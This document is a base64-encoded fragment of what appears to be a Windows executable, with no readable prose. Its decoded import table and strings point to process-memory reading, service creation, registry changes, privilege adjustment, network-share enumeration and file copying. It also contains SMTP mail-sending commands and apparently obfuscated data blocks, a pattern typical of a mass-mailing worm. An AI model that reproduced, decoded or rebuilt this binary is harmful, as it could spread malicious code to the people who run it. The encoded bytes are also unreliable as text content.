AAAAAP7dAADA0QAANNgAAAAAAAAAAAAAPt4AALDRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJbc AACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrdAADq3AAA 2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAAQNoAAFLa AABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7aAAD02QAA LtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA3tkAAKTZ AADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZAAD82AAA LtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAAnN4AAA7g AAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbeAABa3gAA bN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAAAAAAAC7e AAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMAAIAXAACA AAAAALQARnJlZUxpYnJhcnkAPgFHZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAABsA Q2xvc2VIYW5kbGUAlgJTbGVlcACeAlRlcm1pbmF0ZVByb2Nlc3MAABwCUmVhZFByb2Nlc3NN ZW1vcnkA7wFPcGVuUHJvY2VzcwDZAU1vZHVsZTMyRmlyc3QATABDcmVhdGVUb29saGVscDMy U25hcHNob3QAACQBR2V0TW9kdWxlRmlsZU5hbWVBAAD+AVByb2Nlc3MzMk5leHQA/AFQcm9j ZXNzMzJGaXJzdAAA1gFNYXBWaWV3T2ZGaWxlADUAQ3JlYXRlRmlsZU1hcHBpbmdBAAASAUdl dEZpbGVTaXplADQAQ3JlYXRlRmlsZUEAsAJVbm1hcFZpZXdPZkZpbGUAGwFHZXRMb2NhbFRp bWUAABoBR2V0TGFzdEVycm9yAADMAUxvY2FsRnJlZQDIAUxvY2FsQWxsb2MAAPgAR2V0Q3Vy cmVudFByb2Nlc3NJZADSAldpZGVDaGFyVG9NdWx0aUJ5dGUA5AFNdWx0aUJ5dGVUb1dpZGVD aGFyAM4AR2V0Q29tcHV0ZXJOYW1lQQAAKABDb3B5RmlsZUEAuQFJc0RCQ1NMZWFkQnl0ZQAA 3wJXcml0ZUZpbGUAGAJSZWFkRmlsZQAAYwFHZXRUZW1wRmlsZU5hbWVBAABlAUdldFRlbXBQ YXRoQQAAVwBEZWxldGVGaWxlQQBoAlNldEZpbGVBdHRyaWJ1dGVzQQAAkABGaW5kQ2xvc2UA nQBGaW5kTmV4dEZpbGVBAJQARmluZEZpcnN0RmlsZUEAAGECU2V0RW5kT2ZGaWxlAABqAlNl dEZpbGVQb2ludGVyAAAUAUdldEZpbGVUaW1lAGwCU2V0RmlsZVRpbWUAbQFHZXRUaWNrQ291 bnQAAEQAQ3JlYXRlUHJvY2Vzc0EAAFkBR2V0U3lzdGVtRGlyZWN0b3J5QQD3AEdldEN1cnJl bnRQcm9jZXNzAJsCU3lzdGVtVGltZVRvRmlsZVRpbWUAAF0BR2V0U3lzdGVtVGltZQB1AUdl dFZlcnNpb25FeEEAdAFHZXRWZXJzaW9uAADOAldhaXRGb3JTaW5nbGVPYmplY3QAygBHZXRD b21tYW5kTGluZUEAgABFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBAAQBR2V0RHJpdmVUeXBl QQBKAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAABbAVJlZ0Nsb3NlS2V5AGYBUmVnRW51 bUtleUEAcQFSZWdPcGVuS2V5QQBkAVJlZ0RlbGV0ZVZhbHVlQQBqAVJlZ0VudW1WYWx1ZUEA NABDbG9zZVNlcnZpY2VIYW5kbGUAAEwAQ3JlYXRlU2VydmljZUEAAEUBT3BlblNDTWFuYWdl ckEAALMBU3RhcnRTZXJ2aWNlQ3RybERpc3BhdGNoZXJBAK4BU2V0U2VydmljZVN0YXR1cwAA RwFPcGVuU2VydmljZUEAAI4BUmVnaXN0ZXJTZXJ2aWNlQ3RybEhhbmRsZXJBAJ0ARnJlZVNp ZACYAEVxdWFsU2lkAAAYAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA0ABHZXRUb2tlbklu Zm9ybWF0aW9uAEIBT3BlblByb2Nlc3NUb2tlbgAAXAFSZWdDb25uZWN0UmVnaXN0cnlBALIB U3RhcnRTZXJ2aWNlQQB7AVJlZ1F1ZXJ5VmFsdWVFeEEAAIYBUmVnU2V0VmFsdWVFeEEAAF4B UmVnQ3JlYXRlS2V5QQAXAEFkanVzdFRva2VuUHJpdmlsZWdlcwD1AExvb2t1cFByaXZpbGVn ZVZhbHVlQQBBRFZBUEkzMi5kbGwAAFdTMl8zMi5kbGwAABEAV05ldENsb3NlRW51bQAcAFdO ZXRFbnVtUmVzb3VyY2VBAEAAV05ldE9wZW5FbnVtQQBNUFIuZGxsACYBR2V0TW9kdWxlSGFu ZGxlQQAAUAFHZXRTdGFydHVwSW5mb0EAfQBFeGl0UHJvY2VzcwC/AEdldENQSW5mbwC5AEdl dEFDUAAAMQFHZXRPRU1DUAAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdXAACfAUhl YXBGcmVlAACZAUhlYXBBbGxvYwCtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAsgBGcmVl RW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAYBR2V0RW52 aXJvbm1lbnRTdHJpbmdzAAgBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAbQJTZXRIYW5kbGVD b3VudAAAUgFHZXRTdGRIYW5kbGUAABUBR2V0RmlsZVR5cGUAnQFIZWFwRGVzdHJveQCbAUhl YXBDcmVhdGUAAL8CVmlydHVhbEZyZWUALwJSdGxVbndpbmQAUwFHZXRTdHJpbmdUeXBlQQAA VgFHZXRTdHJpbmdUeXBlVwAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAfAJTZXRT dGRIYW5kbGUAAKoARmx1c2hGaWxlQnVmZmVycwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA W4lAAG+zQAAAAAAAAAAAABS0QAAAAAAAAAAAAAAAAAAAAAAAMw1BAEAAAAAgAAAALAAAAC0t AABcAAAAUVVJVA0KAAANCi4NCgAAAERBVEEgDQoASEVMTyAlcw0KAAAAPg0KAE1BSUwgRlJP TTogPAAAAABSQ1BUIFRPOjwAAAAlZAAAIAkNCgAAAAAuLCgpJSRAIWB+IAAtXwAALi4AAC4A AABcKi4qAAAAAFxcAAAAAAAAiRV37zMZmXgQWLjJ8pkAAAH+iceanp6efi4gIjAoICIwojgg JP4OFDwiDhQ8In6anDgiojggJP48Jo6MfhI0GiwKICKiIjQW/josGjZ+NiwyPDiiOCAk/iw8 KH4uICIwKCAiMKI4ICT+DCAUJDR+LiAiMCggIjCiOCAk/hYgJH4QPCwuPCIwojggJKIuKP4U Njp+EjQaLAogIqIiNBb+GCwYfi4gIjAoICIwojggJP4WPDo6NH42LDI8OKI4ICT+OhQYLn4S NBosCiAioiI0Fv4kFCg8fhA6pCo8Hjwiojggoioe/hYgKAwgfhA6pCo8Hjwiojggoioe/iwi MiB+ODwYPDY0LCQ8ODguLCI0ojggJP4YHBQ8JiYmNCAifjQ8GhYuJiwiKKIiNBb+HjQWNBou IH4WNCYUGKIiNBb+JiwmDC4gfhY0JhQYoiI0Fv4qIC4iIgwMfhY0JhQYoiI0Fv48kjyYnJqY jn4WNCYUGKIiNBb+OBQaGjQiFhh+FjQmFBiiIjQW/jwmNA4ODn4WNCYUGKIiNBb+OiwmJiwi MH4WNCYUGKIiNBb+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/opGXhogMBo8JL5yLCY0GEZYDCQ8IhY0 OEYeOHwiDBAuNBo0RjwQLiAYFpiaoig6FP5YNCI2NBqiFCYu/jwivmZWTkYuHh4YPB4eoiwy GP7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+ /v7+/v7+/v7+/v7+/v7+/v7+/v4kHo7+ojQONP6iGDga/qIeLDL+ojo8Fv7+/v7+/v7+/v7+ /v6iFg4W/qIuFiT+oi4WJCb+ohA8Ov6iPBge/qI2IDj+ohoWMv6iDiYY/qIqHjD+ojgeHv6i OP6iHjwY/qIkHjD+oiQeNDD+ojo8KP6iJB6Y/qIeNjL+/lggMhYQPBo0RmQsOBogGCAyFkZQ 